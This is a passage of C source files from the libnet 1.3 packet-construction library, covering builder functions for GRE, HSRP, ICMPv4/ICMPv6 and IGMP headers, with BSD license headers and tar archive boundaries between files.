(HW) Payload Length | Key (LW) Call ID | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Sequence Number (Optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Acknowledgment Number (Optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * */ #if 0 static void __libnet_print_gre_flags_ver(uint16_t fv) { printf("version = %d (%d) -> ", fv & GRE_VERSION_MASK, libnet_getgre_length(fv)); if (fv & GRE_CSUM) { printf("CSUM "); } if (fv & GRE_ROUTING) { printf("ROUTING "); } if (fv & GRE_KEY) { printf("KEY "); } if (fv & GRE_SEQ) { printf("SEQ "); } if (fv & GRE_ACK) { printf("ACK "); } printf("\n"); } #endif /* FIXME: what is the portability of the "((struct libnet_gre_hdr*)0)->" ? */ uint32_t libnet_getgre_length(uint16_t fv) { uint32_t n = LIBNET_GRE_H; /* * If either the Checksum Present bit or the Routing Present bit are * set, BOTH the Checksum and Offset fields are present in the GRE * packet. */ if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */ (fv & GRE_VERSION_MASK) ) /* v1 */ { n += sizeof( ((struct libnet_gre_hdr *)0)->gre_sum) + sizeof( ((struct libnet_gre_hdr *)0)->gre_offset); } if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */ ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */ { n += sizeof( ((struct libnet_gre_hdr *)0)->gre_key); } if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */ ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */ { n += sizeof( ((struct libnet_gre_hdr *)0)->gre_seq ); } return (n); } libnet_ptag_t libnet_build_gre(uint16_t fv, uint16_t type, uint16_t sum, uint16_t offset, uint32_t key, uint32_t seq, uint16_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_gre_hdr gre_hdr; if (l == NULL) { return (-1); } n = libnet_getgre_length(fv) + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H); if (p == NULL) { return (-1); } gre_hdr.flags_ver = htons(fv); gre_hdr.type = htons(type); if (libnet_pblock_append(l, p, (uint8_t *)&gre_hdr, LIBNET_GRE_H) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */ (fv & GRE_VERSION_MASK)) /* v1 */ { sum = htons(sum); if (libnet_pblock_append(l, p, (uint8_t*)&sum, sizeof(gre_hdr.gre_sum)) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } offset = htons(offset); if (libnet_pblock_append(l, p, (uint8_t*)&offset, sizeof(gre_hdr.gre_offset)) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } } if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */ ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */ { key = htonl(key); if (libnet_pblock_append(l, p, (uint8_t*)&key, sizeof(gre_hdr.gre_key)) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } } if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */ ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */ { seq = htonl(seq); if (libnet_pblock_append(l, p, (uint8_t*)&seq, sizeof(gre_hdr.gre_seq)) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if ( (fv & GRE_CSUM) && (!sum) ) { libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, len, LIBNET_PBLOCK_GRE_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_egre(uint16_t fv, uint16_t type, uint16_t sum, uint16_t offset, uint32_t key, uint32_t seq, uint16_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { return (libnet_build_gre(fv, type, sum, offset, key, seq, len, payload, payload_s, l, ptag)); } /* * Routing (variable) * * The Routing field is optional and is present only if the Routing * Present bit is set to 1. * * The Routing field is a list of Source Route Entries (SREs). Each * SRE has the form: * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Address Family | SRE Offset | SRE Length | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Routing Information ... * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * */ libnet_ptag_t libnet_build_gre_sre(uint16_t af, uint8_t offset, uint8_t length, uint8_t *routing, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_gre_sre_hdr sre_hdr; if (l == NULL) { return (-1); } n = LIBNET_GRE_SRE_H + length + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_SRE_H); if (p == NULL) { return (-1); } sre_hdr.af = htons(af); sre_hdr.sre_offset = offset; sre_hdr.sre_length = length; if (libnet_pblock_append(l, p, (uint8_t *)&sre_hdr, LIBNET_GRE_SRE_H) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } if ((routing && !length) || (!routing && length)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): routing inconsistency", __func__); goto bad; } if (routing && length) { if (libnet_pblock_append(l, p, routing, length) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_GRE_SRE_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag) { uint32_t n, zero = 0; libnet_pblock_t *p; if (l == NULL) { return (-1); } n = LIBNET_GRE_SRE_H; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H); if (p == NULL) { return (-1); } if (libnet_pblock_append(l, p, (uint8_t *)&zero, LIBNET_GRE_SRE_H) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_GRE_SRE_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_hsrp.c0000664000175000017500000000633414506572036015507 0ustar syqsyq/* * libnet * libnet_build_hsrp.c - HSRP packet assembler * * Copyright (c) 2004 David Barroso Berrueta * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_hsrp(uint8_t version, uint8_t opcode, uint8_t state, uint8_t hello_time, uint8_t hold_time, uint8_t priority, uint8_t group, uint8_t reserved, uint8_t authdata[HSRP_AUTHDATA_LENGTH], uint32_t virtual_ip, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { libnet_pblock_t *p; struct libnet_hsrp_hdr hsrp_hdr; if (l == NULL) { return (-1); } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, LIBNET_HSRP_H + payload_s, LIBNET_PBLOCK_HSRP_H); if (p == NULL) { return (-1); } memset(&hsrp_hdr, 0, sizeof(hsrp_hdr)); hsrp_hdr.version = version; hsrp_hdr.opcode = opcode; hsrp_hdr.state = state; hsrp_hdr.hello_time = hello_time; hsrp_hdr.hold_time = hold_time; hsrp_hdr.priority = priority; hsrp_hdr.group = group; hsrp_hdr.reserved = reserved; memcpy(hsrp_hdr.authdata, authdata, HSRP_AUTHDATA_LENGTH*sizeof(uint8_t)); hsrp_hdr.virtual_ip = virtual_ip; if (libnet_pblock_append(l, p, (uint8_t *)&hsrp_hdr, LIBNET_HSRP_H) == -1) { goto bad; } if (payload_s && !payload) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): payload inconsistency", __func__); goto bad; } if (payload_s) { if (libnet_pblock_append(l, p, payload, payload_s) == -1) { goto bad; } } return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_HSRP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_icmp.c0000664000175000017500000004447614506572036015474 0ustar syqsyq/* * $Id: libnet_build_icmp.c,v 1.17 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_icmp.c - ICMP packet assemblers * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #include /* some common cruft for completing ICMP error packets */ #define LIBNET_BUILD_ICMP_ERR_FINISH(len) \ do \ { \ if (libnet_pblock_append(l, p, (uint8_t *)&icmp_hdr, len) == -1) \ { \ goto bad; \ } \ \ if (payload_s && !payload) \ { \ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, \ "%s(): payload inconsistency", __func__); \ goto bad; \ } \ \ if (payload_s) \ { \ if (libnet_pblock_append(l, p, payload, payload_s) == -1) \ { \ goto bad; \ } \ } \ \ if (sum == 0) \ { \ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); \ } \ } while (0) libnet_ptag_t libnet_build_icmpv4_echo(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV4_ECHO_H + payload_s; /* size of memory block */ h = LIBNET_ICMPV4_ECHO_H + payload_s; /* hl for checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_ECHO_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.icmp_id = htons(id); /* packet id */ icmp_hdr.icmp_seq = htons(seq); /* packet seq */ if (libnet_pblock_append(l, p, (uint8_t *)&icmp_hdr, LIBNET_ICMPV4_ECHO_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_ECHO_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv4_mask(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint32_t mask, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV4_MASK_H + payload_s; /* size of memory block */ h = LIBNET_ICMPV4_MASK_H + payload_s; /* hl for checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_MASK_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.icmp_id = htons(id); /* packet id */ icmp_hdr.icmp_seq = htons(seq); /* packet seq */ icmp_hdr.icmp_mask = htonl(mask); /* address mask */ if (libnet_pblock_append(l, p, (uint8_t *)&icmp_hdr, LIBNET_ICMPV4_MASK_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_MASK_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv4_timestamp(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint32_t otime, uint32_t rtime, uint32_t ttime, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV4_TS_H + payload_s; /* size of memory block */ h = LIBNET_ICMPV4_TS_H + payload_s; /* hl for checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TS_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.icmp_id = htons(id); /* packet id */ icmp_hdr.icmp_seq = htons(seq); /* packet seq */ icmp_hdr.icmp_otime = htonl(otime); /* original timestamp */ icmp_hdr.icmp_rtime = htonl(rtime); /* receive timestamp */ icmp_hdr.icmp_ttime = htonl(ttime); /* transmit timestamp */ if (libnet_pblock_append(l, p, (uint8_t *)&icmp_hdr, LIBNET_ICMPV4_TS_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_TS_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv4_unreach(uint8_t type, uint8_t code, uint16_t sum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV4_UNREACH_H + payload_s; /* size of memory block */ /* * FREDRAYNAL: as ICMP checksum includes what is embedded in * the payload, and what is after the ICMP header, we need to include * those 2 sizes. */ h = LIBNET_ICMPV4_UNREACH_H + payload_s + l->total_size; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_UNREACH_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.icmp_id = 0; /* must be 0 */ icmp_hdr.icmp_seq = 0; /* must be 0 */ LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_UNREACH_H); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_UNREACH_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv4_timeexceed(uint8_t type, uint8_t code, uint16_t sum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } /* size of memory block */ n = LIBNET_ICMPV4_TIMXCEED_H + payload_s; /* * FREDRAYNAL: as ICMP checksum includes what is embedded in * the payload, and what is after the ICMP header, we need to include * those 2 sizes. */ h = LIBNET_ICMPV4_TIMXCEED_H + payload_s + l->total_size; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.icmp_id = 0; /* must be 0 */ icmp_hdr.icmp_seq = 0; /* must be 0 */ LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_TIMXCEED_H); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv4_redirect(uint8_t type, uint8_t code, uint16_t sum, uint32_t gateway, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_icmpv4_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV4_REDIRECT_H + payload_s; /* size of memory block */ /* * FREDRAYNAL: as ICMP checksum includes what is embedded in * the payload, and what is after the ICMP header, we need to include * those 2 sizes. */ h = LIBNET_ICMPV4_REDIRECT_H + payload_s + l->total_size; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_REDIRECT_H); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; /* packet type */ icmp_hdr.icmp_code = code; /* packet code */ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ icmp_hdr.hun.gateway = gateway; LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_REDIRECT_H); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ICMPV4_REDIRECT_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_icmpv6_common( uint8_t type, uint8_t code, uint16_t sum, const void* specific, uint32_t specific_s, uint8_t pblock_type, uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag ) { uint32_t n; libnet_pblock_t *p; struct libnet_icmpv6_hdr icmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_ICMPV6_COMMON_H + specific_s + payload_s; p = libnet_pblock_probe(l, ptag, n, pblock_type); if (p == NULL) { return (-1); } memset(&icmp_hdr, 0, sizeof(icmp_hdr)); icmp_hdr.icmp_type = type; icmp_hdr.icmp_code = code; icmp_hdr.icmp_sum = htons(sum); if (libnet_pblock_append(l, p, (uint8_t *)&icmp_hdr, LIBNET_ICMPV6_COMMON_H) < 0) { goto bad; } if (libnet_pblock_append(l, p, specific, specific_s) < 0) { goto bad; } if (libnet_pblock_append(l, p, payload, payload_s) < 0) { goto bad; } if (sum == 0) { libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return ptag ? ptag : libnet_pblock_update(l, p, 0, pblock_type); bad: libnet_pblock_delete(l, p); return -1; } libnet_ptag_t libnet_build_icmpv6(uint8_t type, uint8_t code, uint16_t sum, uint8_t* payload, uint32_t payload_s, libnet_t* l, libnet_ptag_t ptag) { return libnet_build_icmpv6_common( type, code, sum, NULL, 0, LIBNET_PBLOCK_ICMPV6_UNREACH_H, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_icmpv6_unreach( uint8_t type, uint8_t code, uint16_t sum, uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag ) { struct libnet_icmpv6_unreach specific; memset(&specific, 0, sizeof(specific)); return libnet_build_icmpv6_common( type, code, sum, &specific, sizeof(specific), LIBNET_PBLOCK_ICMPV6_UNREACH_H, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_icmpv6_echo( uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag ) { struct libnet_icmpv6_echo specific; memset(&specific, 0, sizeof(specific)); specific.id = htons(id); specific.seq = htons(seq); return libnet_build_icmpv6_common( type, code, sum, &specific, sizeof(specific), LIBNET_PBLOCK_ICMPV6_ECHO_H, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_icmpv6_ndp_nsol( uint8_t type, uint8_t code, uint16_t sum, struct libnet_in6_addr target, uint8_t *payload, uint32_t payload_s, libnet_t* l, libnet_ptag_t ptag) { struct libnet_icmpv6_ndp_nsol specific; memset(&specific, 0, sizeof(specific)); specific.reserved = 0; specific.target_addr = target; return libnet_build_icmpv6_common( type, code, sum, &specific, sizeof(specific), LIBNET_PBLOCK_ICMPV6_NDP_NSOL_H, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_icmpv6_ndp_nadv( uint8_t type, uint8_t code, uint16_t sum, uint32_t flags, struct libnet_in6_addr target, uint8_t *payload, uint32_t payload_s, libnet_t* l, libnet_ptag_t ptag) { struct libnet_icmpv6_ndp_nadv specific; memset(&specific, 0, sizeof(specific)); specific.flags = htonl(flags); specific.target_addr = target; return libnet_build_icmpv6_common( type, code, sum, &specific, sizeof(specific), LIBNET_PBLOCK_ICMPV6_NDP_NADV_H, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_icmpv6_ndp_opt( uint8_t type, uint8_t* option, uint32_t option_s, libnet_t* l, libnet_ptag_t ptag) { struct libnet_icmpv6_ndp_opt opt; uint32_t n; static uint8_t pad[8] = { 0 }; uint32_t pad_s = 0; libnet_pblock_t* p; if(l == NULL) return -1; if(!option) option_s = 0; /* options need to be padded to a multiple of 8-bytes, and opts.len is in units of 8-bytes */ n = sizeof(opt) + option_s; if(n % 8) { n += 8 - (n % 8); } if(n > (0xff * 8)) { return -1; } pad_s = n - option_s - sizeof(opt); assert((n % 8) == 0); assert(pad_s < sizeof(pad)); p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV6_NDP_OPT_H); if(p == NULL) return -1; memset(&opt, 0, sizeof(opt)); opt.type = type; opt.len = n / 8; if(libnet_pblock_append(l, p, &opt, sizeof(opt)) == -1) goto bad; if(libnet_pblock_append(l, p, option, option_s) == -1) goto bad; if(libnet_pblock_append(l, p, pad, pad_s) == -1) goto bad; return ptag ? ptag : libnet_pblock_update(l, p, n, LIBNET_PBLOCK_ICMPV6_NDP_OPT_H); bad: libnet_pblock_delete(l, p); return -1; } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_igmp.c0000664000175000017500000000602614506572036015465 0ustar syqsyq/* * $Id: libnet_build_igmp.c,v 1.12 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_igmp.c - IGMP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_igmp(uint8_t type, uint8_t reserved, uint16_t sum, uint32_t ip, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_igmp_hdr igmp_hdr; if (l == NULL) { return (-1); } n = LIBNET_IGMP_H + payload_s; h = LIBNET_IGMP_H; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IGMP_H); if (p == NULL) { return (-1); } memset(&igmp_hdr, 0, sizeof(igmp_hdr)); igmp_hdr.igmp_type = type; igmp_hdr.igmp_code = reserved; igmp_hdr.igmp_sum = (sum ? htons(sum) : 0); igmp_hdr.igmp_group.s_addr = ip; if (libnet_pblock_append(l, p, (uint8_t *)&igmp_hdr, LIBNET_IGMP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IGMP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_ip.c0000664000175000017500000005345614506572036015152 0ustar syqsyq/* * $Id: libnet_build_ip.c,v 1.19 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_ip.c - IP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * 